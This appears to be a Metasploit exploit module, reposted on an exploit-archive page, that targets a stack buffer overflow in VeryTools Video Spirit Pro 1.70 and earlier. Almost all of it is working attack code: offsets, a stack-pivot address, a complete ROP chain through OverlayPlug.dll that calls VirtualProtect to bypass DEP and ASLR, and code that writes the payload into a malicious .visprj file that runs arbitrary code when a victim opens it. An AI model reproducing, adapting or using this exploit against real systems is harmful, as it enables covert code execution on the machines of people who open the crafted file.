ExploitFixes
VeryTools Video Spirit Pro <= 1.70 .visprj Buffer Overflow 2011-04-12 15:15:20

##
# $Id: videospirit_visprj.rb 12305 2011-04-11 23:32:41Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'VeryTools Video Spirit Pro <= 1.70',
'Description' => %q{
This module exploits a stack buffer overflow in Video Spirit <= 1.70.
When opening a malicious project file (.visprj), a stack buffer overflow occurs,
resulting in arbitrary code execution.
This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Acidgen', #found the vulnerability
'corelanc0d3r', #rop exploit + msf module
],
'Version' => '$Revision: 12305 $',
'References' =>
[
[ 'URL', 'http://www.corelan.be/advisories.php?id=CORELAN-11-001' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800, #0x320 bytes - avoid marking wrong page as RWX
'BadChars' => "\x00\x0a\x0b\x0c\x0d\x0e\x0f\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x26\x27\x2f\x3c\x3e",
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP/Vista/Win7/... Generic DEP & ASLR Bypass',
{
'OffSet' => 168,
'OffSetToRop' => 952,
'Ret' => 0x1006CC10, #overlayplug.dll stackpivot bad char friendly
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Apr 11 2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'VideoSpirit project name.', 'msf.visprj']),
], self.class)
end

def junk
return rand_text_alphanumeric(4).unpack("L")[0].to_i
end

def exploit

print_status("Creating '#{datastore['FILENAME']}' file ...")

header = %Q|
<version value="1" />
<track>
<type value="0" />
<type value="4" />
<type value="2" />
<type value="1" />
<type value="7" />
</track>
<track0 />
<track1 />
<track2 />
<track3 />
<track4 />
<clip />
<output typename="AVI" keepaspect="0" presetquality="0">
<type0 enable="1">
|

footer = %Q|
<valitem name="320*240(4:3)" value="320*240" />
<valitem name="30" value="30" />
<valitem name="16000k" value="16000k" />
</type0>
<type1 enable="1">
<valitem name="mp3" value="libmp3lame" />
<valitem name="128k" value="128k" />
<valitem name="44100" value="44100" />
<valitem name="2 (Stereo)" value="2" />
</type1>
<type2 enable="0" />
</output>
|
print_status("Preparing payload")

pivot = [target.ret].pack('V')

rop_gadgets =
[
# one non-ASLR module is enough for generic ASLR & DEP bypass !
# pvefindaddr rop 'n roll
# First, grab VirtualProtect ptr
0x10065292, # POP EAX # RETN [OverlayPlug.dll]
0x106F4244, # IAT entry + offsqet (bad char friendly)
0x10019762, # POP EBP # RETN [OverlayPlug.dll]
0xEFEFEFF0, # bye bye offset
0x10084977, # ADD EBP,EAX # RETN [OverlayPlug.dll]
0x100684B8, # MOV EAX,EBP # POP ESI # POP EBP # POP EBX # RETN [OverlayPlug.dll]
junk,
junk,
junk,
0x1005E114, # MOV EAX,DWORD PTR DS:[EAX] # RETN [OverlayPlug.dll]
0x10016A56, # XCHG EAX,ESI [OverlayPlug.dll]

# set size
0x100A9274, # POP EAX # RETN [OverlayPlug.dll]
0x10101330, # 0x320 bytes - change this if needed, but don't make it too big :)
0x10019762, # POP EBP # RETN [OverlayPlug.dll]
0xEFEFEFF0, # boo
0x10084977, # ADD EBP,EAX # RETN [OverlayPlug.dll]
0x10053E4C, # XCHG EAX,EBP # RETN [OverlayPlug.dll]
0x10066D8C, # PUSH EAX # ADD AL,5D # POP EBX # MOV DWORD PTR FS:[0],ECX # ADD ESP,50 # RETN 10 [OverlayPlug.dll]
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,

# set NewProtect to 0x40
0x100E3D4A, # XOR EAX,EAX # XOR EDX,EDX # RETN [OverlayPlug.dll]
junk,
junk,
junk,
junk,
0x10010C36, # ADD EAX,10 # POP EBP # RETN 4 [OverlayPlug.dll]
junk,
0x10010C36, # ADD EAX,10 # POP EBP # RETN 4 [OverlayPlug.dll]
junk,
junk,
0x10010C36, # ADD EAX,10 # POP EBP # RETN 4 [OverlayPlug.dll]
junk,
junk,
0x10010C36, # ADD EAX,10 # POP EBP # RETN 4 [OverlayPlug.dll]
junk,
junk,
0x10030C8B, # ADD DL,AL # ADD AL,0 # MOV EAX,EDX # RETN 4 [OverlayPlug.dll]
junk,

# write pOldProtect to .data section
0x1001AB51, # POP ECX # RETN [OverlayPlug.dll]
junk,
0x10117030, # RW

# EDI : ROP NOP
0x10057090, # POP EDI # RETN [OverlayPlug.dll]
0x10057091, # ROP NOP

# pReturn2Payload
0x100BC8E8, # PUSH ESP # MOV EAX,ESI # POP ESI # RETN [OverlayPlug.dll]
0x10016A56, # XCHG EAX,ESI # RETN [OverlayPlug.dll]
0x1003C946, # ADD EAX,0A # RETN [OverlayPlug.dll]
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1001FDBD, # XCHG EAX,EBP # RETN [OverlayPlug.dll]

0x100A9274, # POP EAX # RETN [OverlayPlug.dll]
0x41414141,

# go
0x10066F84, # PUSHAD # RETN [OverlayPlug.dll]
].pack("V*")


buffer = "<valitem name="
buffer << '"'
buffer << rand_text_alphanumeric((target['OffSet']))
buffer << rand_text_alphanumeric(4) #nseh
buffer << pivot
buffer << rand_text_alphanumeric((target['OffSetToRop']))
buffer << "\x91\x70\x05\x10" * 10 #rop nop, offset Win7
buffer << rop_gadgets
buffer << make_nops(150)
buffer << payload.encoded
buffer << rand_text_alphanumeric(4000)
buffer << '"'
buffer << ' value="msmpeg4v2"'
buffer << "/>"
buffer << "\n"

filecontent = header + buffer + footer

print_status("Writing payload to file")

file_create(filecontent)

end

end